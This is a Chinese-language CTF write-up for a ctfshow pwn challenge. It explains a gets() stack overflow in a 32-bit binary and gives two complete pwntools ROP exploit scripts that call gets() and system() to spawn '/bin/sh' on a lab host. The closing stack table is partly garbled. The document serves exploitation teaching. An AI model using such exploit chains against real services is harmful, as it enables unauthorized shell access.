1. 分析程序
首先检查程序相关保护,发现程序为32位且只开启了一个NX保护
checksec pwn
使用IDA进行逆向分析代码,查看漏洞触发点:
在main函数中,有一个ctfshow函数,这里我们跟进ctfshow()
发现存在一个gets()函数,此函数写法存在漏洞,我们可以输入任意长度的字符串,进而栈溢出。这里需要达到溢出的地址为offect=0x6c+4
- 当程序执行到
gets()
时:
- 程序会阻塞等待用户输入
- 用户通过键盘(或输入重定向)输入数据
- 它可以无限读取,不会判断上限,可以包含空格,以回车结束读取。
- 输入的数据会被原样复制到
buf
指向的内存中
同时我们注意到,程序存在一个函数hint(),但是hint()函数只有system系统函数,没有了“/bin/sh”等敏感字符串,这时候我们就要想办法写入“/bin/sh”
先运行程序,查看程序可写段,发现在0x804b000-0x804c000段存在读写权限(rw),这时我们可以通过get将恶意代码写入这个地址段上,然后getshell。
获取system以及get函数的地址:0x08048450、0x08048420
objdump -d -t .plt pwn | grep systemobjdump -d -t .plt pwn | grep gets
buffer地址选择,这里我们可以直接找到一个参数buf2,我们也可以直接写在地址上,只要写入的范围不超过0x804b000-0x804c000即可,这里我看到有个博主的博客有人提问,为什么博主将buf2的地址设置为0x804c000-16,另外一个师傅说大于8可以,小于8就不行了。原因就是写入范围不能超过0x804b000-0x804c000。
2. 漏洞编写
首先确定基本信息
from pwn import *
context(arch="i386",os="linux")
io = remote("192.168.79.135",10001)
接着构造payload信息,需要计算偏移量,system函数的地址、相关占位符、以及sh的地址。这里我们可以构造两个payload
poc1:
payload = cyclic(0x6c+4) + p32(gets) + p32(system) + p32(buffer) + p32(buffer)
- p32(gets):这是 gets() 函数的地址,我们将覆盖函数返回地址为 gets() 函数的地址,这样在程序返回时会跳转到 gets() 函数执行,我们就可以利用 gets() 函数从输入中获取数据。
- p32(system):这是 system() 函数的地址,我们将覆盖 gets() 函数的返回地址为 system() 函数的地址,这样在 gets() 函数执行完毕后,程序会继续执行 system() 函数。
poc2:
payload = cyclic(0x6c+4) + p32(gets) + p32(pop_ebx) + p32(buffer) + p32(system)
+ 'aaaa' + p32(buffer)
cyclic(0x6c+4)
:通常是用来填充缓冲区和覆盖返回地址的填充数据,0x6c+4
即偏移量,保证覆盖到返回地址。p32(gets)
:将gets
函数地址压入栈,准备调用gets(buf2)
,即让程序从标准输入读入数据到缓冲区buf2
。p32(pop_ebx)
:这里的pop_ebx
是一个地址,指向一条pop ebx; ret
或类似指令的片段(gadget)。这条gadgets用来弹出栈中的一个值到ebx
寄存器,并返回。p32(buf2)
:栈上的参数,给pop_ebx
弹出到ebx
中,通常是gets
的参数,即gets(buf2)
。p32(system)
:调用system
函数地址,目的是执行system(buf2)
,即执行刚刚通过gets
输入的命令。'aaaa'
:填充参数,可能是为了栈对齐或占位。p32(buf2)
:作为system
的参数。
"/bin/sh"与"sh"区别:
system("/bin/sh") :
- 在Linux和类Unix系统中, /bin/sh 通常是一个符号链接,指向系统默认的shell程序(如Bash或Shell)。因此,使用 system("/bin/sh") 会启动指定的shell程序并在新的子进程中执行
- 这种方式可以确保使用系统默认的shell程序执行命令,因为 /bin/sh 链接通常指向默认shell的可执行文件
system("sh"):
- 使用 system("sh") 会直接启动一个名为 sh 的shell程序,并在新的子进程中执行
- 这种方式假设系统的环境变量 $PATH 已经配置了能够找到 sh 可执行文件的路径,否则可能会导致找不到 sh 而执行失败
完整的payload如下:
payload1:
from pwn import *
p = remote('192.168.79.135', 10001)
system_addr = 0x8048450
buf2_addr = 0x804B060+10
gets_addr = 0x8048420
pop_ebx = 0x8048409
payload = b'a'*(0x6c+4) + p32(gets_addr) + p32(system_addr) + p32(buf2_addr) + p32(buf2_addr)
print(payload)
p.sendline(payload)
p.sendline(b"/bin/sh")
p.interactive()
payload2:
from pwn import *
p = remote('192.168.79.135', 10001)
system_addr = 0x8048450
buf2_addr = 0x804B000+10
gets_addr = 0x8048420
pop_ebx = 0x8048409
payload = b'a'*(0x6C+4) + p32(gets_addr) + p32(pop_ebx) + p32(buf2_addr) +p32(system_addr) + b'aaaa' + p32(buf2_addr)
print(payload)
p.sendline(payload)
p.sendline(b"/bin/sh")
p.interactive()
3. 漏洞验证
服务端启动相关程序,挂载至本地的10001端口上:sudo socat TCP4-LISTEN:10001,fork EXEC:./pwn
攻击端运行编写好的程序,可以看到获取了服务端的权限
4. 总结
4.1. 利用poc1
为什么
"/bin/sh"
要第二次发送?
- 第一次发送
payload
:覆盖栈,调用gets(buf2)
。- 第二次发送
"/bin/sh"
:gets()
会等待输入,写入buf2
,使其成为system()
的参数。
为什么
buf2
能同时作为gets()
和system()
的参数?
gets(buf2)
:
buf2
是gets()
的参数,表示输入写入的目标地址。- 用户输入
"/bin/sh"
后,buf2
存储了该字符串。system(buf2)
:
- 此时
buf2
已经是"/bin/sh"
的地址,因此system()
可以正确执行。
关键点:
buf2
是一个 固定可写地址(如.bss
段),两次使用的是同一地址的不同用途:
- 第一次:
gets()
写入数据的目标地址。- 第二次:
system()
读取字符串的地址。
4.2. 利用poc2
pop ebx
是必须的吗?
- 这里用于清理栈(弹出
buf2
),避免干扰system()
的参数读取。- 如果去掉
pop ebx
,栈会错位,导致system()
读取错误参数。
为什么需要
pop ebx
?
gets()
的调用约定:
在cdecl
约定下,gets()
的参数由调用者清理(即add esp, 4
)。
但攻击者无法直接执行代码,只能通过 ROP 链模拟栈平衡。pop ebx
的作用:
弹出gets()
的参数buf2
,使栈指针ESP
指向system()
的返回地址,确保system()
读取正确的参数。
步骤 | 栈变化 | 关键操作 |
发送 | 覆盖返回地址为 | 劫持控制流 |
发送 | 写入 | 准备 参数 |
返回 | 跳转到 | 清理栈 |
| 弹出 | 调整栈指针 |
调用 | 读取 作为参数 | 执行 |
假设目标函数的栈帧如下:
发送 payload后,栈被覆盖